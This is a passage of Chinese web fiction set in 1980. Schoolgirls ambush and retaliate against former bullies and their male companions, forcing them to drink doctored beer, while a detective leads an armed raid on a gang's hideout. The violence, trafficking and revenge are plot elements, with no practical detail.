“你帮我答应孙佳好,约孙佳人来学校见面。周五的晚上,我在学校等她。”淳于芳怕她不答应,直接跪下,“林语晨,我这辈子没求过人,我求你答应她。
否则,我会跟踪孙佳好,找到她姐姐。不管付出什么代价,我都要去做,即便陪上自己。如果你答应我,这辈子我为你做牛做马。”
“……”这么朴实不做作吗?太中二吧!啊,这姑娘现在就处在这个年纪!
林语晨已经习惯商场上的唯利是图、背信弃义,突然面对这番话既不理解也不适应。
她没有兄弟姐妹,堂亲、表亲这类少有走动,无法理解淳于芳得这份执着。即使后世,堂亲表亲也没亲到为对方讨公道到这种程度!
所以,前世的淳于芳,她的人生究竟是怎么样呢?
“我答应你。其实,我也想再见她一面呢。”林语晨笑起来,提水壶下楼,回寝室。
与其让淳于芳孤军奋战,遭遇不知名的危险,不如帮她一把,也顺便讨债!
下楼的林语晨又想起赵有归,摇头甩去脑子里的人影。
——所以,老师不让早恋还是有点道理,一不小心心思就跑偏!
淳于芳松口气,憋回眼泪:对不起,林语晨,我利用了你!但是,我一定要这么做。蓝姐姐死了,大伯婶婶变成现在这样,坏人凭什么逍遥法外,她应该受到报应。
起身拍下了膝盖,苟缩着肩头下楼,如常回寝室。
林语晨路过孙佳好的寝室,朝里面的人说:“告诉孙佳好,我答应见她姐姐。周五晚,学校,老地方。”
这周就不回家,认真复习复习复习……不要连大专都考不上啊!
张茉莉坐在床头看小人书,闻言挑眉。
唔,找张叔叔给哥打个电话,那姓赵的战友应该很有兴趣!
姓赵的已经忙成狗。
他派人去接手陆天案,结果陆天离开派出所三百米就被当街枪杀。凶手简直穷凶极恶、目无法纪、无法无天。
派去的人追着凶手,绕几条街,竟没抓住人。
赵有归听说后整个人都冷了。
市局里看不惯他的人更是冷嘲热讽,连谭省都打电话过问此事。
幸好谭省对周五的行动意见不变,而且因为这事,赵有归推测,祠堂那边会风起云涌。
江源县枪击案被压下来,没在县里掀起大波澜。
除小道消息,其它各方还算平静,主要也是这会的地方县传播消息还是靠嘴。
——
市局办公楼里,钱育才从狮虎村赶回来,碰上急匆匆的宋景。
“宋景,怎么这么急?”
“老钱,回来了。你那边怎么样?”宋景拿着资料与他一起进赵有归的办公室。
“哎,进去说。”两人见到地图前的赵有归,钱育才先说,“赵队,光看地图是只有一条路,我去实地探查才知道那里的地形复杂。狮虎村分上下两村,合起来叫狮虎村。三面环山,地质适合开山采石。”
他接过赵有归递来的小地图,在上面圈圈画画:“前山后山都有采石场开出的道,没在地图上。三条小道夹在两山中间,绕过两村直达国道。”
宋景瞧着嘿了声:“狡兔三窟啊!”
钱育才赞同:“谁说不是呢。这条路最隐蔽,就是赵队提过得那条。没什么人走,还偏僻,适合做他们逃跑的后路。此外,山里的地形复杂,若我们围堵这几条路,他们可能会向山上逃。
采石场两边不好上山,但这条后路的尽头可以窜进山上。”
赵有归接过钱育才画的地图:“即使堵住山路出口,他们也可以朝山上逃,相当于两头通的水管。”
“是。”钱育才点头,“另外,狮虎村的村民应该也有参与。我扮作买石头的进去,被盘问好几回。后来,我不敢动静太大,直接上山谈了一车石头,得给我报销啊!”
宋景拍在老钱肩头:“你不考虑石头运哪啊?”
钱育才:“我这么傻吗?交的定金,下周二发货,等采石场发货,祠堂都给我们端掉了。赵队,我提一个事,得考虑到若村民参与进去,怎么办?”
赵有归也想到这点:“陆天被枪杀,祠堂那边会开会。到时候,我们晚上行动,跟在客车后面进山,尽量不惊动村民。现在,若我要包围整做山,警力起码达千人。”
这么多人是个难题,幸好谭省还站在这方。
又看向宋景,“你那边怎么样?”
宋景举起手里的文件:“边省传来消息:孙不二确实在那边出没,而且他已经买票在回来的路上。另外,我怀疑他带一批货上路,只是,现在的安检有漏
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洞,没查出来。头,你真是料事如神,赵云再世!”
赵有归不和他贫嘴,接过宋景的资料,翻看里面的信息,点头说:“若他带货进祠堂,那更是将他们一网打尽的最好机会。我现在去请行动批文,召集人马。
宋景,帮我盯紧那辆客车!老钱,注意局里的动静。”
钱育才的神色一震,重重地点头。
“明白!”宋景应说,目送赵有归离开,和老钱对上眼,纷纷露出兴奋的笑容。
这场战要是打赢,这辈子在市局的地位稳了。
谁还敢说赵队是没本事的天降兵,说两人是拍马屁的马刷子。
——
周五的傍晚,难得放晴,只是烂泥地上湿软,不好下脚。
林语晨在校门口接过林菲儿递来的酒,目送她得意洋洋地离开。
林菲儿说:“楚邵答应和我一起离开江源县。我们要去南边的深地发展。林语晨,我赢了。这瓶难得的啤酒送给你,当是我请你喝——我和楚邵的喜酒。”
林语晨看着手里似曾相识的啤酒,无言地拉起唇角。
刚进校门,又听到有人喊自己的名字。
楚邵扒在学校门口铁闸门上,气喘吁吁:“语晨……语晨,你听我说……”
林语晨回头看去,没有走近,只远远地看着。
楚邵面色潮红,眼神急切:“语晨,你知道陆天死了吗?”
林语晨微惊:陆天……与前世一样死了?
楚邵盯着她的表情,继续说:“我怀疑是林裕宝动的手。我不能留在这。若林裕宝知道那天晚上是我喊小混混带警察闯开303房,他会杀了我。”
林语晨眯眸:“所以,你讨好林菲儿,带她离开江源县,打消林裕宝的猜忌?”举起手里的酒瓶,“她说是你们的喜酒。”
“她瞎扯。”楚邵怕两方误会,避开林菲儿找过来,“我是为了你。语晨,我问林裕宝借一笔钱,往南边发展。林裕宝一定要我带林菲儿一起走才肯借。你知道她在江源县过不下去,我才带上她。
你放心,我和她不会有什么。你好好读书,等我回来。考不上也没关系,不出半年,我就回来找你。到时候,我养你。语晨,你表个态。不然,我走得不安心。”
林语晨就很想笑:人说狗改不了吃屎,江山易改本性难移。楚邵还是那个楚邵,有利可图时绝对不放过,真遇到事也只会躲在人后,等着别人解决。
她拽着手里的酒瓶,真想过去给他开瓢。
“好啊,我等你。”
——我一定会等你。等你登临顶峰,再把你重重地扯下来,重回你足下的泥泞。
我林语晨对天发誓!
“太好了。”楚邵想抱抱她,但是看门大爷虎视眈眈地盯着,一步三回头往来路去,“语晨……”回头招手,而后毅然决然地跑走。
县高的路口转角,林菲儿看到跑出来的楚邵,甩过去一巴掌:“楚邵,你这混蛋!”
楚邵磨牙,瞪她,转身就走。
若不是为兜里的三万块钱,谁伺候这女人。再过几天,她就会无家可归!
那时候的林菲儿,向前世一样,爬着求人收留。
赵有归不是这周就是下周行动,必须赶在条子抓人前离开。
陆天死了!若是还留在江源县,不等林裕宝被赵有归抓,就会听信小混混的话,发现招待所当晚的真相。
到时候,不死也会脱层皮。
必须走,赶紧走!
语晨,我是为了你!这件事我来背,大家会把目光落在我身上,你一定要等我!
楚邵拿着林裕宝给得钱,只跟妹妹楚新意说了声,就带林菲儿坐上离开江源县的大巴。
在灵江市东站,他和林菲儿坐上前往南边的客车。
43. 孙佳人
周五的傍晚,学生们已经放学回家。寂静的学校空荡荡得有些吓人。
林语晨晃着手里的酒,观察瓶口,口子上的盖子有被撬动的痕迹。
用力拔几下,锁紧的瓶盖很快掉落。
“真被动过啊!不然,这种封口怎么可能靠手拔出来。呵!林菲儿,你真是没让我失望!”
“语晨,”张茉莉走来,“这是什么,酒?”
“嗯。怎么没回家?”林语晨避开她抢酒的手。
“你不是要留下吗?正好,这星期我也不回家。”张茉莉托张校长找大哥,结果张天鸿来句:这周很忙,他也很忙,没空管你们小女生的麻烦。若是她遇上危险,你不懂先后撤、再打突击拳?平时哥教你都忘了?
赵茉莉表示:行。你们不管我小姐妹,我自己管。
淳于芳从暗处走来:“林语晨,人还没来吗?”转眼有些吃惊,“张茉莉,你怎么不回家?”
张茉莉扫她,斜瞥着说:“某些人居心不良,我怕小姐妹出问题,留下来保护她。”
淳于芳的面色沉几分,撇开脸:“林语晨,你把人约去老地方,老地方是哪里?”
林语晨看着她的眼神想起记忆中的淳于蓝,慢慢说:“操场西边围墙角有座小厕所,旁边有道小门,后面的山上全是坟地。那里就是老地方!”
张茉莉震惊:“不是吧。她们在那欺负你们?那地方偏到即使尿裤子都不想去上厕所。传言,那地方闹鬼啊。”
淳于芳轻扯唇角:“我去告诉她地方。”转身去找孙佳好。
她现在是孙佳好的跑腿。
林语晨看她离去,朝张茉莉说:“体育课上完,若是跑得慢,会被堵去厕所。因为有角门,外面有坟地,一般学生不敢过去。我被逼进去,有时候出来身上是湿的,被那群男同学围观,那眼神直勾勾得像是吃过春.药。有时候我会被推出小门,与别人的墓碑大眼瞪小眼。若是忍不住惊叫,围墙里的人更兴奋。”
——当然,我不是最惨那个,有人比我还惨!
张茉莉眼冒怒火:“她敢来,我就敢把她扔坟地里去。呃,你约在那,大晚上不怕鬼吗?”
“人心比鬼可怕多了。”林语晨再次躲开她伸来抢酒的手,一把勾住她的手臂,“你在我可安心多了。”
张茉莉笑哼了声,又去抢酒:“马屁精。感谢我就让我喝两口。”
林语晨赶紧跑开,举起手里的酒瓶子:“不是不给你喝,是这酒有问题。以前孙佳人的好姐妹林菲儿送来,说是庆祝她和男朋友喜结连理。”
“哇……这么直接!她为什么送你酒?难道他的男朋友……”张茉莉看多了小婶从海峡对面台省带回来的小人书,脑海里闪过十八个狗血桥段。
“嗯。她以为从我手里成功抢走渣男,送瓶酒来耀武扬威。又或者,她心怀不轨,在酒里面放点什么见不得人的东西。本来,她是要看着我喝下去。结果,她出了事,急着跑路,就没机会了。”
林语晨拉着回不过神的张茉莉,“走吧,咱们计划下怎么对付孙佳人姐妹!”
张茉莉一路盯着她手里的酒瓶,越发好奇:“这酒究竟有什么问题啊?”
“有点猜测,但没证据,我们这也不方便化验,最好的办法是请人试试。”林语晨嬉笑说,“总不会死人。毕竟她光明正大送来。”
“……”张茉莉回想与林语晨认识的经过,缓缓问,“语晨姐,我有得罪过你吗?”
林语晨回她个大大的笑容:“没有。你和赵晓琳是我的贵人。我谢谢你们、报答你们还来不及。”
张茉莉的心神顿时清透:“啊,还是要做好人啊!哎,你把赵晓琳支走是不想她扯进这件事。你怎么不劝我回家啊?”
“你能打啊。”林语晨坦荡地看去,张茉莉已经露出夸张的受伤表情。
她进一步解释,“以我对孙佳人的了解,她不会一个人来,一定带别人。所以,那天我当着你们寝室的人约,一方面是想正义凛然得你能留下帮我!我这么说,你生气吗?”
“……”张茉莉眨眼,声线无波,“你真不把我当外人!若我不主动留下呢?毕竟,你没有请我!”
林语晨只笑不语,提着酒瓶去安排接下来的事。
若你不留下,自然也有其它办法——这里可是学校!
——
孙佳人长相平平,但是会打扮。
如今上师范学校,更有几分知性美。江源县对她来说不是个有好回忆的地方。淳于蓝出事后更是不想回来。
林语晨回不回学校,同她一点关系都没有。奈何妹妹孙佳好不争气,惹了人还没本事压住。
两姐妹在孙不二心里的份量不重。父亲干的勾当违法乱纪,女人无数,甚至在外面有儿子。所以,孙佳人很重视同病相怜的妹妹。
在孙佳好几番请求下,她带着人回故地一游,会会林语晨。
孙佳好在校门口接她,一眼扫去,姐姐身后还有两个大男人:“姐姐,他们是……先别说了,快进来,看门老头吃饭去了。”
孙佳人一点不担心老头的阻拦。
这老头要是没被换,就应该记得以前拿过的好处。
她环顾学校,轻笑说:“一点没变啊,换了校长也不知道把大门口的歪脖子树修一修。”
“校长是张家人,张茉莉的叔叔!”孙佳好发现两个男人一直盯来,羞涩地挽住姐姐的手。
“佳人,这就是你以前的学校啊,真破,一点没有市里的学校漂亮。”男一号收回看孙佳好的眼神,若姐姐的长相平平,打扮过后有了八分容貌,妹妹就是小青梅,十八岁也没前凸后翘吸引人。他觉得无趣,想起孙佳人说的女同学,迫不及待地入校门。
男二号:“佳人,这是你妹妹吗?跟你一样可爱。”
孙佳好的脸色红了。孙佳人直接回眸:“你看得上我妹这种清汤小白菜?我跟你说了,那个女生是校花级别。”
男二号听着笑起来,望向跑在前面的同伴:“罗四丰,等等我。”
“你怎么一个人,你拉得那群同学呢?”孙佳人发现妹妹竟是单打独斗,一点没有她以前的做派。
孙佳好抿唇:“她们不肯留下,都
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跑了。不过,有个人肯帮我。林语晨说老地方,她帮我打听才知道老地方是操场的厕所那。姐,那边闹鬼,你们怎么敢去?”
孙佳人笑起来,仿佛回到曾经称霸这座学校的时期:“老地方闹鬼还是我叫人宣扬出去。你记住,鬼不可怕,可怕得是那些想要无声无息害你的人。啊,真是久违的地方。对了,你的小下属叫什么?”
“淳于芳!”孙佳好听着姐姐的话,胆气都起来,嘲讽地说,“她胆子很小,长得也不好看。”
孙佳人听到“淳于”姓氏,松快的脸色瞬间沉落,阴沉沉地看向妹妹。
孙佳好不明觉厉,战战兢兢问:“姐……怎么了?哪里有问题?”
孙佳人被妹妹的傻气逗笑:“她姓淳于,淳于芳?淳于蓝是她谁?”
“淳于蓝?”孙佳好停顿好一会才回过味,“不会吧?她们同一个村,不一定有关系。”
“傻子!今天我要是不来,你被卖掉都不知道。”孙佳人无比庆幸喊两个男人一起来。
而这两人不是随便选,罗四丰喜欢用强、马文成喜欢哄骗,方式不同,却都是游走在女学生里的猎手,专职收割没有恋爱过的女生。
高中学妹这种小白菜,正好对两人的胃口。即便林语晨离开学校一年多,说不定已经不是小白菜,但凭她那张脸足够勾住两人。
“走吧,姐姐教教你怎么做事。”
孙佳人朝前面两人喊,“乱跑什么,你们知道在哪里狩猎吗?”
罗四丰和马文成纷纷停下,回首笑看走来的两姐妹:“你倒是快点带路,吃饱喝足不办点事,怎么回去睡觉?”
林语晨在厕所门口的水槽处拉好塑料管,开了水龙头。
她看着水流进草地,不由自主笑了:这种小打小闹能起到什么作用?赵有归,我还真被你成功洗脑!
“来了。”张茉莉拿纸堵着鼻孔,躲在厕所里的窗户后,提醒林语晨和淳于芳。她环顾亮灯的昏暗厕所,想起小人书里的桥段,双手合十:菩萨保佑,鬼神不侵,要搞就搞作恶的坏人!
淳于芳往前走几步,神色异常激动:“她果然带了人。”回头问,“张茉莉行吗?”
张茉莉暗暗瞪她:竟敢小瞧我!
林语晨没吭声,看着那走来得身量小巧却有几分气场的女人,想起前世。
当她站在众人难以企及的财富高度,孙佳人早已躲在男人的背后,成为罗局儿子的妻子,一名贤惠安分的官二代太太。
曾经,动过报复她的心思。
但是,楚邵说“冤家宜解不宜结。人家公公是带刀侍卫,谁敢动她?放下吧。”
是啊。市局局长的儿媳,谁敢动?
幸好,官家儿媳的拘束多,孙佳人平时不出席各种宴会。两人极少碰上。
不然,林语晨说不定真忍不了。现在,孙佳人还不是官家儿媳。
等人在射程内,不等他们喊话,林语晨捞起水管,按住水流,“滋”向走来的四人。
马文成兴奋地跳起,避开水:“我去,这么猛。罗四丰,你喜欢的类型,够泼辣。”
44. 反杀战
罗四丰撸起袖子,拿手挡着水逼近过来。“你别后悔,这就是校花吧,归我了。”
马文成还没看仔细,躲在孙佳好后面探头:“哎,不行不行。旁边傻乎乎那个给你,这个归我。若是我哄好了,两极反差,爱不死我。”
“美得你!”罗四丰早已盯住林语晨,难得一见的美人胚子,比打扮的孙佳人还诱人!
林语晨躲着他,只管滋孙佳人姐妹,让她们也尝尝大庭广众下湿身的快乐。
孙佳人抹掉胸口的水,往后退时冷冷地看向林语晨:“你的胆子一直很大。若不是我威胁动你妈,你还真能和我耗到毕业。”
林语晨轻笑,高声喊:“大爷,你要躲到什么时候?”
看门的大爷“啊”了声,从操场另一头出来:“我说你们闹够就赶紧回家。这是学校。”
孙佳人扯起唇角,给回头的罗四丰一个眼神。
罗四丰不管兔子似的林语晨,奔去给看门大爷一拳,直接把人揍趴下。
大爷呜呜咽咽叫唤,爬也似逃走。
林语晨会帮忙吗?不会。
这个大爷曾经也是帮凶之一。现在换了校长,他不敢明目张胆犯错罢了。
你瞧,出了事,他照样逃跑。但是,这次大爷会去叫人,真出了事,张校长问责,他担不起!
这就是林语晨安排的后手!
“混蛋,我打死你。”淳于芳提起棍子就冲向回来的罗四丰,拦住他的路,大声问,“孙佳人,为什么欺负淳于蓝。她究竟哪里得罪你?”
孙佳好吃惊地看向姐姐:这还真是为淳于蓝找上门!
“姐……”
孙佳人推开傻乎乎的妹妹,阴沉张脸:“不为什么,单纯看她不顺眼。你大伯闹市局告我,真有意思,现在怎么样了,没钱看病,死了吗?”
“是你喊人打我大伯?我跟你拼了。啊……”淳于芳疯般冲过去。
马文成发现林语晨只会滋水,跑去帮罗四丰控制淳于芳。
林语晨掉头拿水滋两男人,帮着暗处的张茉莉遮掩身形:“喂,你们两个大男人欺负一个女学生算什么。”
孙佳人的神情微滞,轻笑着自言自语,又似说给孙佳好听:“当年,她就是这样帮淳于蓝,真蠢啊。”
“是吗?我不觉得呢。”张茉莉趁着大家的注意力都在淳于芳那边,成功溜到孙佳人旁边,一个手刀下去,直接劈折孙佳人的脖子。
听完孙佳人这句话,她对林语晨在校门口的坦白,再没有被利用而后悔留下的感觉。
如她说言:林语晨没有邀请,留下是个人的想法。
“啊……张茉莉!”孙佳好大惊,迎面挨张茉莉一拳,直接捂脸蹲下,痛到发不出声音。
罗四丰和马文成控制住淳于芳,看向张茉莉的方向。
马文成惊讶说:“竟还藏了一个!”与罗四丰对眼,琢磨现在的局面怎么搞?
张茉莉转着手腕上前,与林语晨站一起:“我可是参加国家武术大赛的入围选手,你们确定要抱着她不撒手?”
说着,摆手一个标准的太极起手式。
林语晨眨眼,有点儿吃惊:“你的家传绝学是太极?”
“啊!张三丰姓张,我也姓张啊,有什么问题吗?不在一个族谱,也是旁支。”张茉莉一本正经回。
林语晨回想后世看的电视剧:“张三丰没结婚吧?”
“那我哪知道。反正我这手功夫确实打进过大赛。当然,后来我还学我哥教的军体拳,还有我爸给我请了师父——咏春传人,也学过一阵咏春。说实话,我会得可多了,还有不常出手的太极剑法。这年头拿剑上街不合法,才没有显露出来!”张茉莉瞎七瞎八掰扯着。
林语晨拱手:“佩服佩服,厉害厉害。其实拿剑上街没什么,以后一定会流行。”
张茉莉露出夸张的表情:“真的吗?”
两人旁若无人般走向挟制住淳于芳的马文成和罗四丰。
“喂,你们扯够没有?”罗四丰耐不住性子喊起来。
马文成觉得这两人是在唬人,捡起淳于芳掉的棍子就打过去。
张茉莉朝林语晨眨眼,一个侧身疾跑,纵身吓得马文成后仰。
她还笑:“孬种。”四两拨千金,一招推手绕过棍子,扬手给马文成一巴掌。
这样还不过瘾。
张茉莉转身勾脚,再送站不稳的马文成胸口两下抱松拳,把人打滚进泥地。
她“呼”了声,回头朝眼睛发亮的林语晨说,“我真没骗你,我真学过咏春。嘻嘻。”
林语晨点头:这两下子还真见过,县街上打小混混时她用过。
罗四丰已经看懵,这无稽的打法,真是乱来!
马文成抚着胸口喘不上气,眼神四处乱飘:倒下没动静的孙佳人、瞎叫唤的孙佳好,罗四丰怕也打不过这小娘们……
“四丰,你先顶着,我去摇人。”
说完,他向操场外侧跌跌撞撞地跑去,头也不回那种!
罗四丰“啊”了下,被淳于芳一个后仰,脑袋撞鼻子,嗷呜一声松开人,紧接着下/身一紧一痛,整个人麻了。
“嗷……”
张茉莉放下握拳的手,目瞪口呆地拍在逃回来的淳于芳肩头:“今天开始,我对你改观。这记断子绝孙脚,解气!”
淳于芳揉着后脑勺还觉得气,跑上去对着男人又踢两脚。
罗四丰忍着痛,逮住机会抓她的腿,直把人拖在地上。
张茉莉一把按住他的手,明眸如箭:“你的对手是我!”兜头一拳被罗四丰握住,她不仅不怕还笑了声,抬脚也送他一击断子绝孙。
“嗷……”若是淳于芳的力道代表普通小女生,张茉莉这一下子比成年男人还厉害。
罗四丰连逃都逃不了,捂着那处在地上打滚,嗷嗷叫唤。
张茉莉愣下就笑:武术大赛上什么招数都有,这种阴绝手段不常用,但她也见过。
不过,锅不能轻易就背。赛事上吵起来时还辩个四五六。
“她打你就没事,我打你就起不来了,你那也太脆了吧?”
——嗯。是他的老二脆,不是我的脚厉害!
淳于芳悄悄地挪开两步,与张茉莉保持距离,悄声说:“你学过武。”
张茉莉瞪回去:“他还是个大男人呢。”
“啊……臭娘们!”罗四丰可以忍痛,但是忍不了男人的尊严被践踏,发出一记刺耳叫声,奋力冲向张茉莉。
张茉莉侧身抬腿,鞋尖擦在罗四丰的鼻头。
罗四丰堪堪停下,斜里淳于芳提棍就砸在他的后背。罗四丰往前扑,张茉莉收腿再弹,把人踹回去。
嘭得一声,罗四丰再次砸进泥地。淳于芳跑回来,与举手的张茉莉一个击掌。
两人想起还有个队友,齐齐回头找林语晨。
林语晨拿着绳子在绑孙佳人,见两人瞧来,目光看向另一根绳子:“来把孙佳好绑起来!”
张茉莉摸摸鼻子,后知后觉说:“我爸不让恃强凌弱!”
刚才她们处于上风,可以动手!现在两人都软趴了,再对她们动手就是不武,违背她学武的初衷。
昏黄中,林语晨的目光宛如星星:你踢人的时候不是挺爽吗?
“我来。”淳于芳拿起绳子把孙佳好绑好。
孙佳好挣扎,哭诉,哀求……声音惊醒孙佳人。水管一直淋在孙佳人的胸口,人也可能被凉醒。
张茉莉听着孙佳好的惨叫,回头看去:罗四丰不叫唤了,拖着腿跑了。
孙佳人醒来后不明所以,天色朦朦胧胧,只有厕所透出的微光:“罗四丰,马文成?”
“你错过好戏,他们丢下你们跑了。”林语晨拿出啤酒,放在孙佳人的唇边,“你喝还是你妹喝?”
“这是什么?你干什么,林语晨,我告诉你,你这样是犯罪!我爸知道不会放过你!”
啪得一声。淳于芳给叫嚣的孙佳人一巴掌,冷嗤:“现在知道犯罪?你欺负我姐姐的时候怎么不说犯罪?”
她不管啤酒里有什么,抢过来就拉歪孙佳人的脖子,让她仰天吞咽大半瓶。
张茉莉上前,被林语晨拽住手腕,蹙眉提醒:“差不多得了,这样会出人命。”
“如果你知道淳于蓝的事,只会觉得这样解气。淳于芳需要发泄!”林语晨被甩开手,侧头看去,张茉莉直接走了,像是女侠一样。
她蹙了蹙眉,没去追。<
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p>孙佳人呛起来,咳个半死。
淳于芳不解气,又去抓孙佳好,控制她喝掉另外半瓶。
大半瓶酒被呛出来,分一下,两人没喝下多少。
“咳咳……”
“咳咳……”两姐妹滚在地上咳嗽,烂泥沾她们一身。
孙佳好见姐姐呕,也跟着呕,呕不出什么,就哭:“姐姐……呜呜……姐姐……”
孙佳人死死地看向林语晨和淳于芳:“你们给我等着。今天我从这里出去,我要你们生不如死!”
“你还嘴犟。”淳于芳踢她一脸。
“啊……林语晨,我爸不会放过你。你们家,你爸妈,都会遭到报复。”孙佳人咬牙切齿地喊。
林语晨看向操场另一头打来的手电光,无声地笑着:“是吗?光脚不怕穿鞋,你以为我真会怕你吗?
不知道想要与罗局长儿子联姻的你,在人背后做过什么好事?”
孙佳人愣怔,吃惊地看向林语晨,转头朝远处的手电光喊:“救命……来人啊,救命啊……她疯了,疯了……”
孙佳好见状也跟着歇斯底里地叫唤:“杀人了,救命啊……救救我们……”
——
祠堂的搭房里,孙不二一掌拍在桌面,死盯着林裕宝:“你脑子呢?你要杀他可以等他离开江源县,干嘛在街上就动手?”
林裕宝怒火映眸:“我女儿被送到陆天床上,孙佳人做的。大哥,这事你知道吗?”
孙不二一愣,转眼说:“我不知道。”
“若你知道陆天也睡过你女儿,你还觉得我杀他冤枉还是迟了?”林裕宝目光如炬,但凡大哥的回答不满意,一定会失望。
坐在一旁的罗恒一愣,撇头不语。
孙不二提过让他大女儿孙佳人和自己的儿子找对象。罗恒私心里不愿意,想让儿子攀高枝,娶个有利于儿子前途的官二代。
孙佳人不干净,这是好事。两家没必要硬绑在一起!
孙不二也想到这事,目光瞥向罗恒,脸色青了,转念想到小女儿孙佳好。
——对,我还有个女儿。
“我不知道。孙佳人没说起。你也不该在江源县动手。现在,市局的眼睛都盯着江源县。我们怎么做生意?
我已经跟南边搭好线,货也进场,大家等着发财。结果你这么一闹,接下来怎么办?生意怎么做下去?”
搭房外的小房间里,王织信提上裤头、穿上外套,头也不回离开屋子。
屋里的女人在小声啜泣。
回到搭房门口,问看门:“里面还没吵完呢?孙不二带回来的新货不错,留几天再送去赚钱。”
“好嘞好嘞!应该还没完吧。”小弟叠声答应,大佬们的事真不懂!
王织信哼笑:“多大点事,不过一个胆小鬼陆天,也值得为他内讧。不加入,死了活该。这点小事没几天就被人忘记,有什么好吵。一群头脑简单、成不了事的家伙。”
站在门口抽起烟,发现东边的山上有光,指着方向问小弟,“那里怎么回事?”
小弟抬头看去,漆黑一片,啥都没有啊。
“怎么了?”
王织信心里不安,孙不二带两斤货回来尝鲜,怕不是走漏风声。
他朝小弟说:“你帮我把司机喊来,我要回去了。”
“哦。”
祠堂外面,潜伏者慢慢地包围这座深山里的祠堂。
赵有归朝带队的武.警发个指令,两人轻手轻脚上前,一点声音都没响就把看门人放倒在地。
紧接着,行动队鱼贯而入,控制大堂里的赌徒们:“不许动,不许出声!”
赌徒们起初吓愣,紧接着要跑,被敏捷如豹的武.警们按在桌面。
赵有归带人直奔后堂,一眼扫到那个往后路撤去的身影:“抓住王织信,别让他逃走。”
几个人直奔王织信追去。
搭房里,赵田、林裕宝、罗恒一惊,各自掏出抢。
孙不二第一反应藏起桌面上的小包裹。
赵田被指派推开门,打出第一声枪响。
这一声枪响惊醒夜幕里的狮虎村!
紧接着就是接二连三的枪声,惊走1980年的梅雨天。
45. 江湖飘
江源县,张校长接到看门老王的电话,带人赶来后都不及吃惊、质问这帮女生,第一反应是把歇斯底里叫救命的孙佳人姐妹送往县医院。
淳于芳的父母察觉女儿这么晚还没回家,找来学校,跟着一起去县医院。
深夜里的县医院因为这么帮人异常热闹。
张校长跑去交费,再送淳于芳父母离开,拉走张茉莉询问,忙得不可开交。
而林语晨一直等在孙佳人的病床前,直勾勾地看着她。
孙佳人惊疑不定,愤恨地瞪回去。突然,她面色大变,被褥颤动,下面的双腿夹起来。
林语晨的眼神微亮,冲过去后一把掀开被子。
“啊……你干什么?”孙佳人大叫,激动让她的下腹一阵抽搐,发生痉挛。
林语晨看着她鲜红的病号裤底,缓缓地拉起唇角,悠悠笑说:“这时候来例假,真尴尬啊。”
“你……我不会放过你,林语晨!”脸色苍白的孙佳人又感觉到涌动的血流,忽然想起什么,“不对。日子不对,你给我喝了什么?是你,一定是你!”
“不是我。”林语晨的心情说不上好,“酒是林菲儿给我。你记得林菲儿吗?”
孙佳人的面色变了又变。
记起当初诓骗林菲儿上招待所的事。听说她和陆天的事暴露,陆天被杀,可能是林裕宝做下,孙爸是因为这事回县。
难道林菲儿和林语晨串通起来报仇?
“林菲儿指示你?不对,你们怎么可能联手!”
林语晨挑眉,在学校操场拿罗恒儿子诈孙佳人的时候就发现她干的坏事只多不少。她想起前世从303房间出来,林菲儿说起孙佳人时那股眸中带火的恨意。
而酒也确实是林菲儿送来。如今,她试着拿林菲儿封孙佳人的嘴,竟然效果不错!
“为什么不可能呢?这世上利益往往大过交情。你不是最懂这套吗?”
孙佳人的心里有鬼,同样她也是利益至上者。
当年她和林菲儿喝得迷迷糊糊,被陆天拉走,让林菲儿叫人来救,结果她却失踪。
那晚过后,她就一直想报复林菲儿。为此主动约陆天,再把林菲儿骗去送给陆天,还教了陆天留下人的办法。
这么久了,林菲儿竟想报复?
“你究竟给我吃什么?”孙佳人一激动,血流得更通畅,搅得肚子都在痛。
林语晨耸肩:“你还是叫护士给你送棉垫吧。”
*
县医院门口,张校长目送淳于芳的父母把女儿接回去,转身走向过道上的张茉莉,训斥两句,末了说:“我已经叫人去找那两个男人,告他们私闯学校,寻衅滋事。
若你说的情况属实,这事有转圜的余地。你和你的同学都能没事。
若是情况有假,人家报警抓你们,你就等着你爸的板子吧。”
“叔,学校会对我们处罚吗?”张茉莉看着张校长瞪来的眼神,缩头瘪嘴,“我们一起干的,你要罚就一起罚,别徇私。我知道你大公无私,正值得像你大哥——我老爸。”
“我要是不疼你,能帮你小婶给你带小人书?”张校长快被侄女气死,幸好没闹出人命。
天气潮湿,两女生被水淋一晚上还喝啤酒,不冻病也去半条命。
若真出人命,职业生涯没了,说不定还吃牢饭。这几个女生有没有给学校、给校长想过啊?
以防万一,他被看门大爷催来操场后第一件事就是把两姐妹送医院。
在医院保着命,总比在办公室出事强。
“我真是服了你。大赛上没打够,平日里还打抱不平。回去回去吧。”
“不行。我跟爸妈说了,这周不回家,而且我答应同学,这周末陪她一起学习。”张茉莉不等张校长爆炸,飞快地跑回病房。
孙佳人姐妹的病房里,护士也很惊讶,送来私人用的棉垫给病床上的两姐妹,提醒说:“知道来例假还玩水,不爱惜身体啊。这两天不能着凉了。”
张茉莉撞上从病房出来的林语晨,眼神询问:怎么样了?
“没事,护士看着呢。出不了事。”林语晨朝她身后走来的校长鞠躬,“对不起,张校长。”
张校长想发火,又想起这个女学生的经历,再有侄女挤眉弄眼的难看脸,叹了声说:“林语晨,我看在你提醒看门的老王通知我的份上,不追究这件事。”
林语晨的眼神瞟向病房。
张校长瞬间明白她的意思,头疼地说:“听说她们带校外的男人来欺负你们?”
“嗯。”林语晨点头,“一个叫四丰。孙佳人应该知道他们的名字。”
张校长噎了下,这个女生不简单啊。
“你不怕我报警或者孙佳人姐妹报警吗?”
“孙佳人带人私闯学校,两个男人上来就说淫。秽话,她有什么脸报警?”林语晨抬眉反问。
——孙佳人真不怕德行暴露,成不了罗恒的儿媳妇吗?罗恒再怎么坏,在江源县总还要脸面。
“校长会报警吗?”
张校长被这声反问镇住,眉宇拢成川字,心惊于林语晨的气势和镇定。
然而,眨眼间,这个女生又平静了——好像在说“校长报不报警都跟我没关系。”
而她这种静像是燃烧中不断沸腾的水,关火后可以瞬间平息翻腾。但是,若你细看,这壶水依旧在内部翻涌,只是从外表上看不出来。
或许,她在说“校长看在张茉莉的份上根本不会报警!”
这种猜想让张校长心惊。
他扫眼侄女,张茉莉会武,但不是傻姑娘,心甘情愿帮林语晨定是已经被说服。
暗叹了声,不动声色说:“你和茉莉先回学校。这里的事交给我处理。”
“谢谢校长,麻烦你了。”林语晨再次鞠躬,绕过张校长,与张茉莉并肩离开县医院。
所以啊,在学校里发生冲突,涉及学校利益,校长比任何人都急,更希望把这种事情压下去,而不是报警!
何况,这件事张茉莉也参与进去。
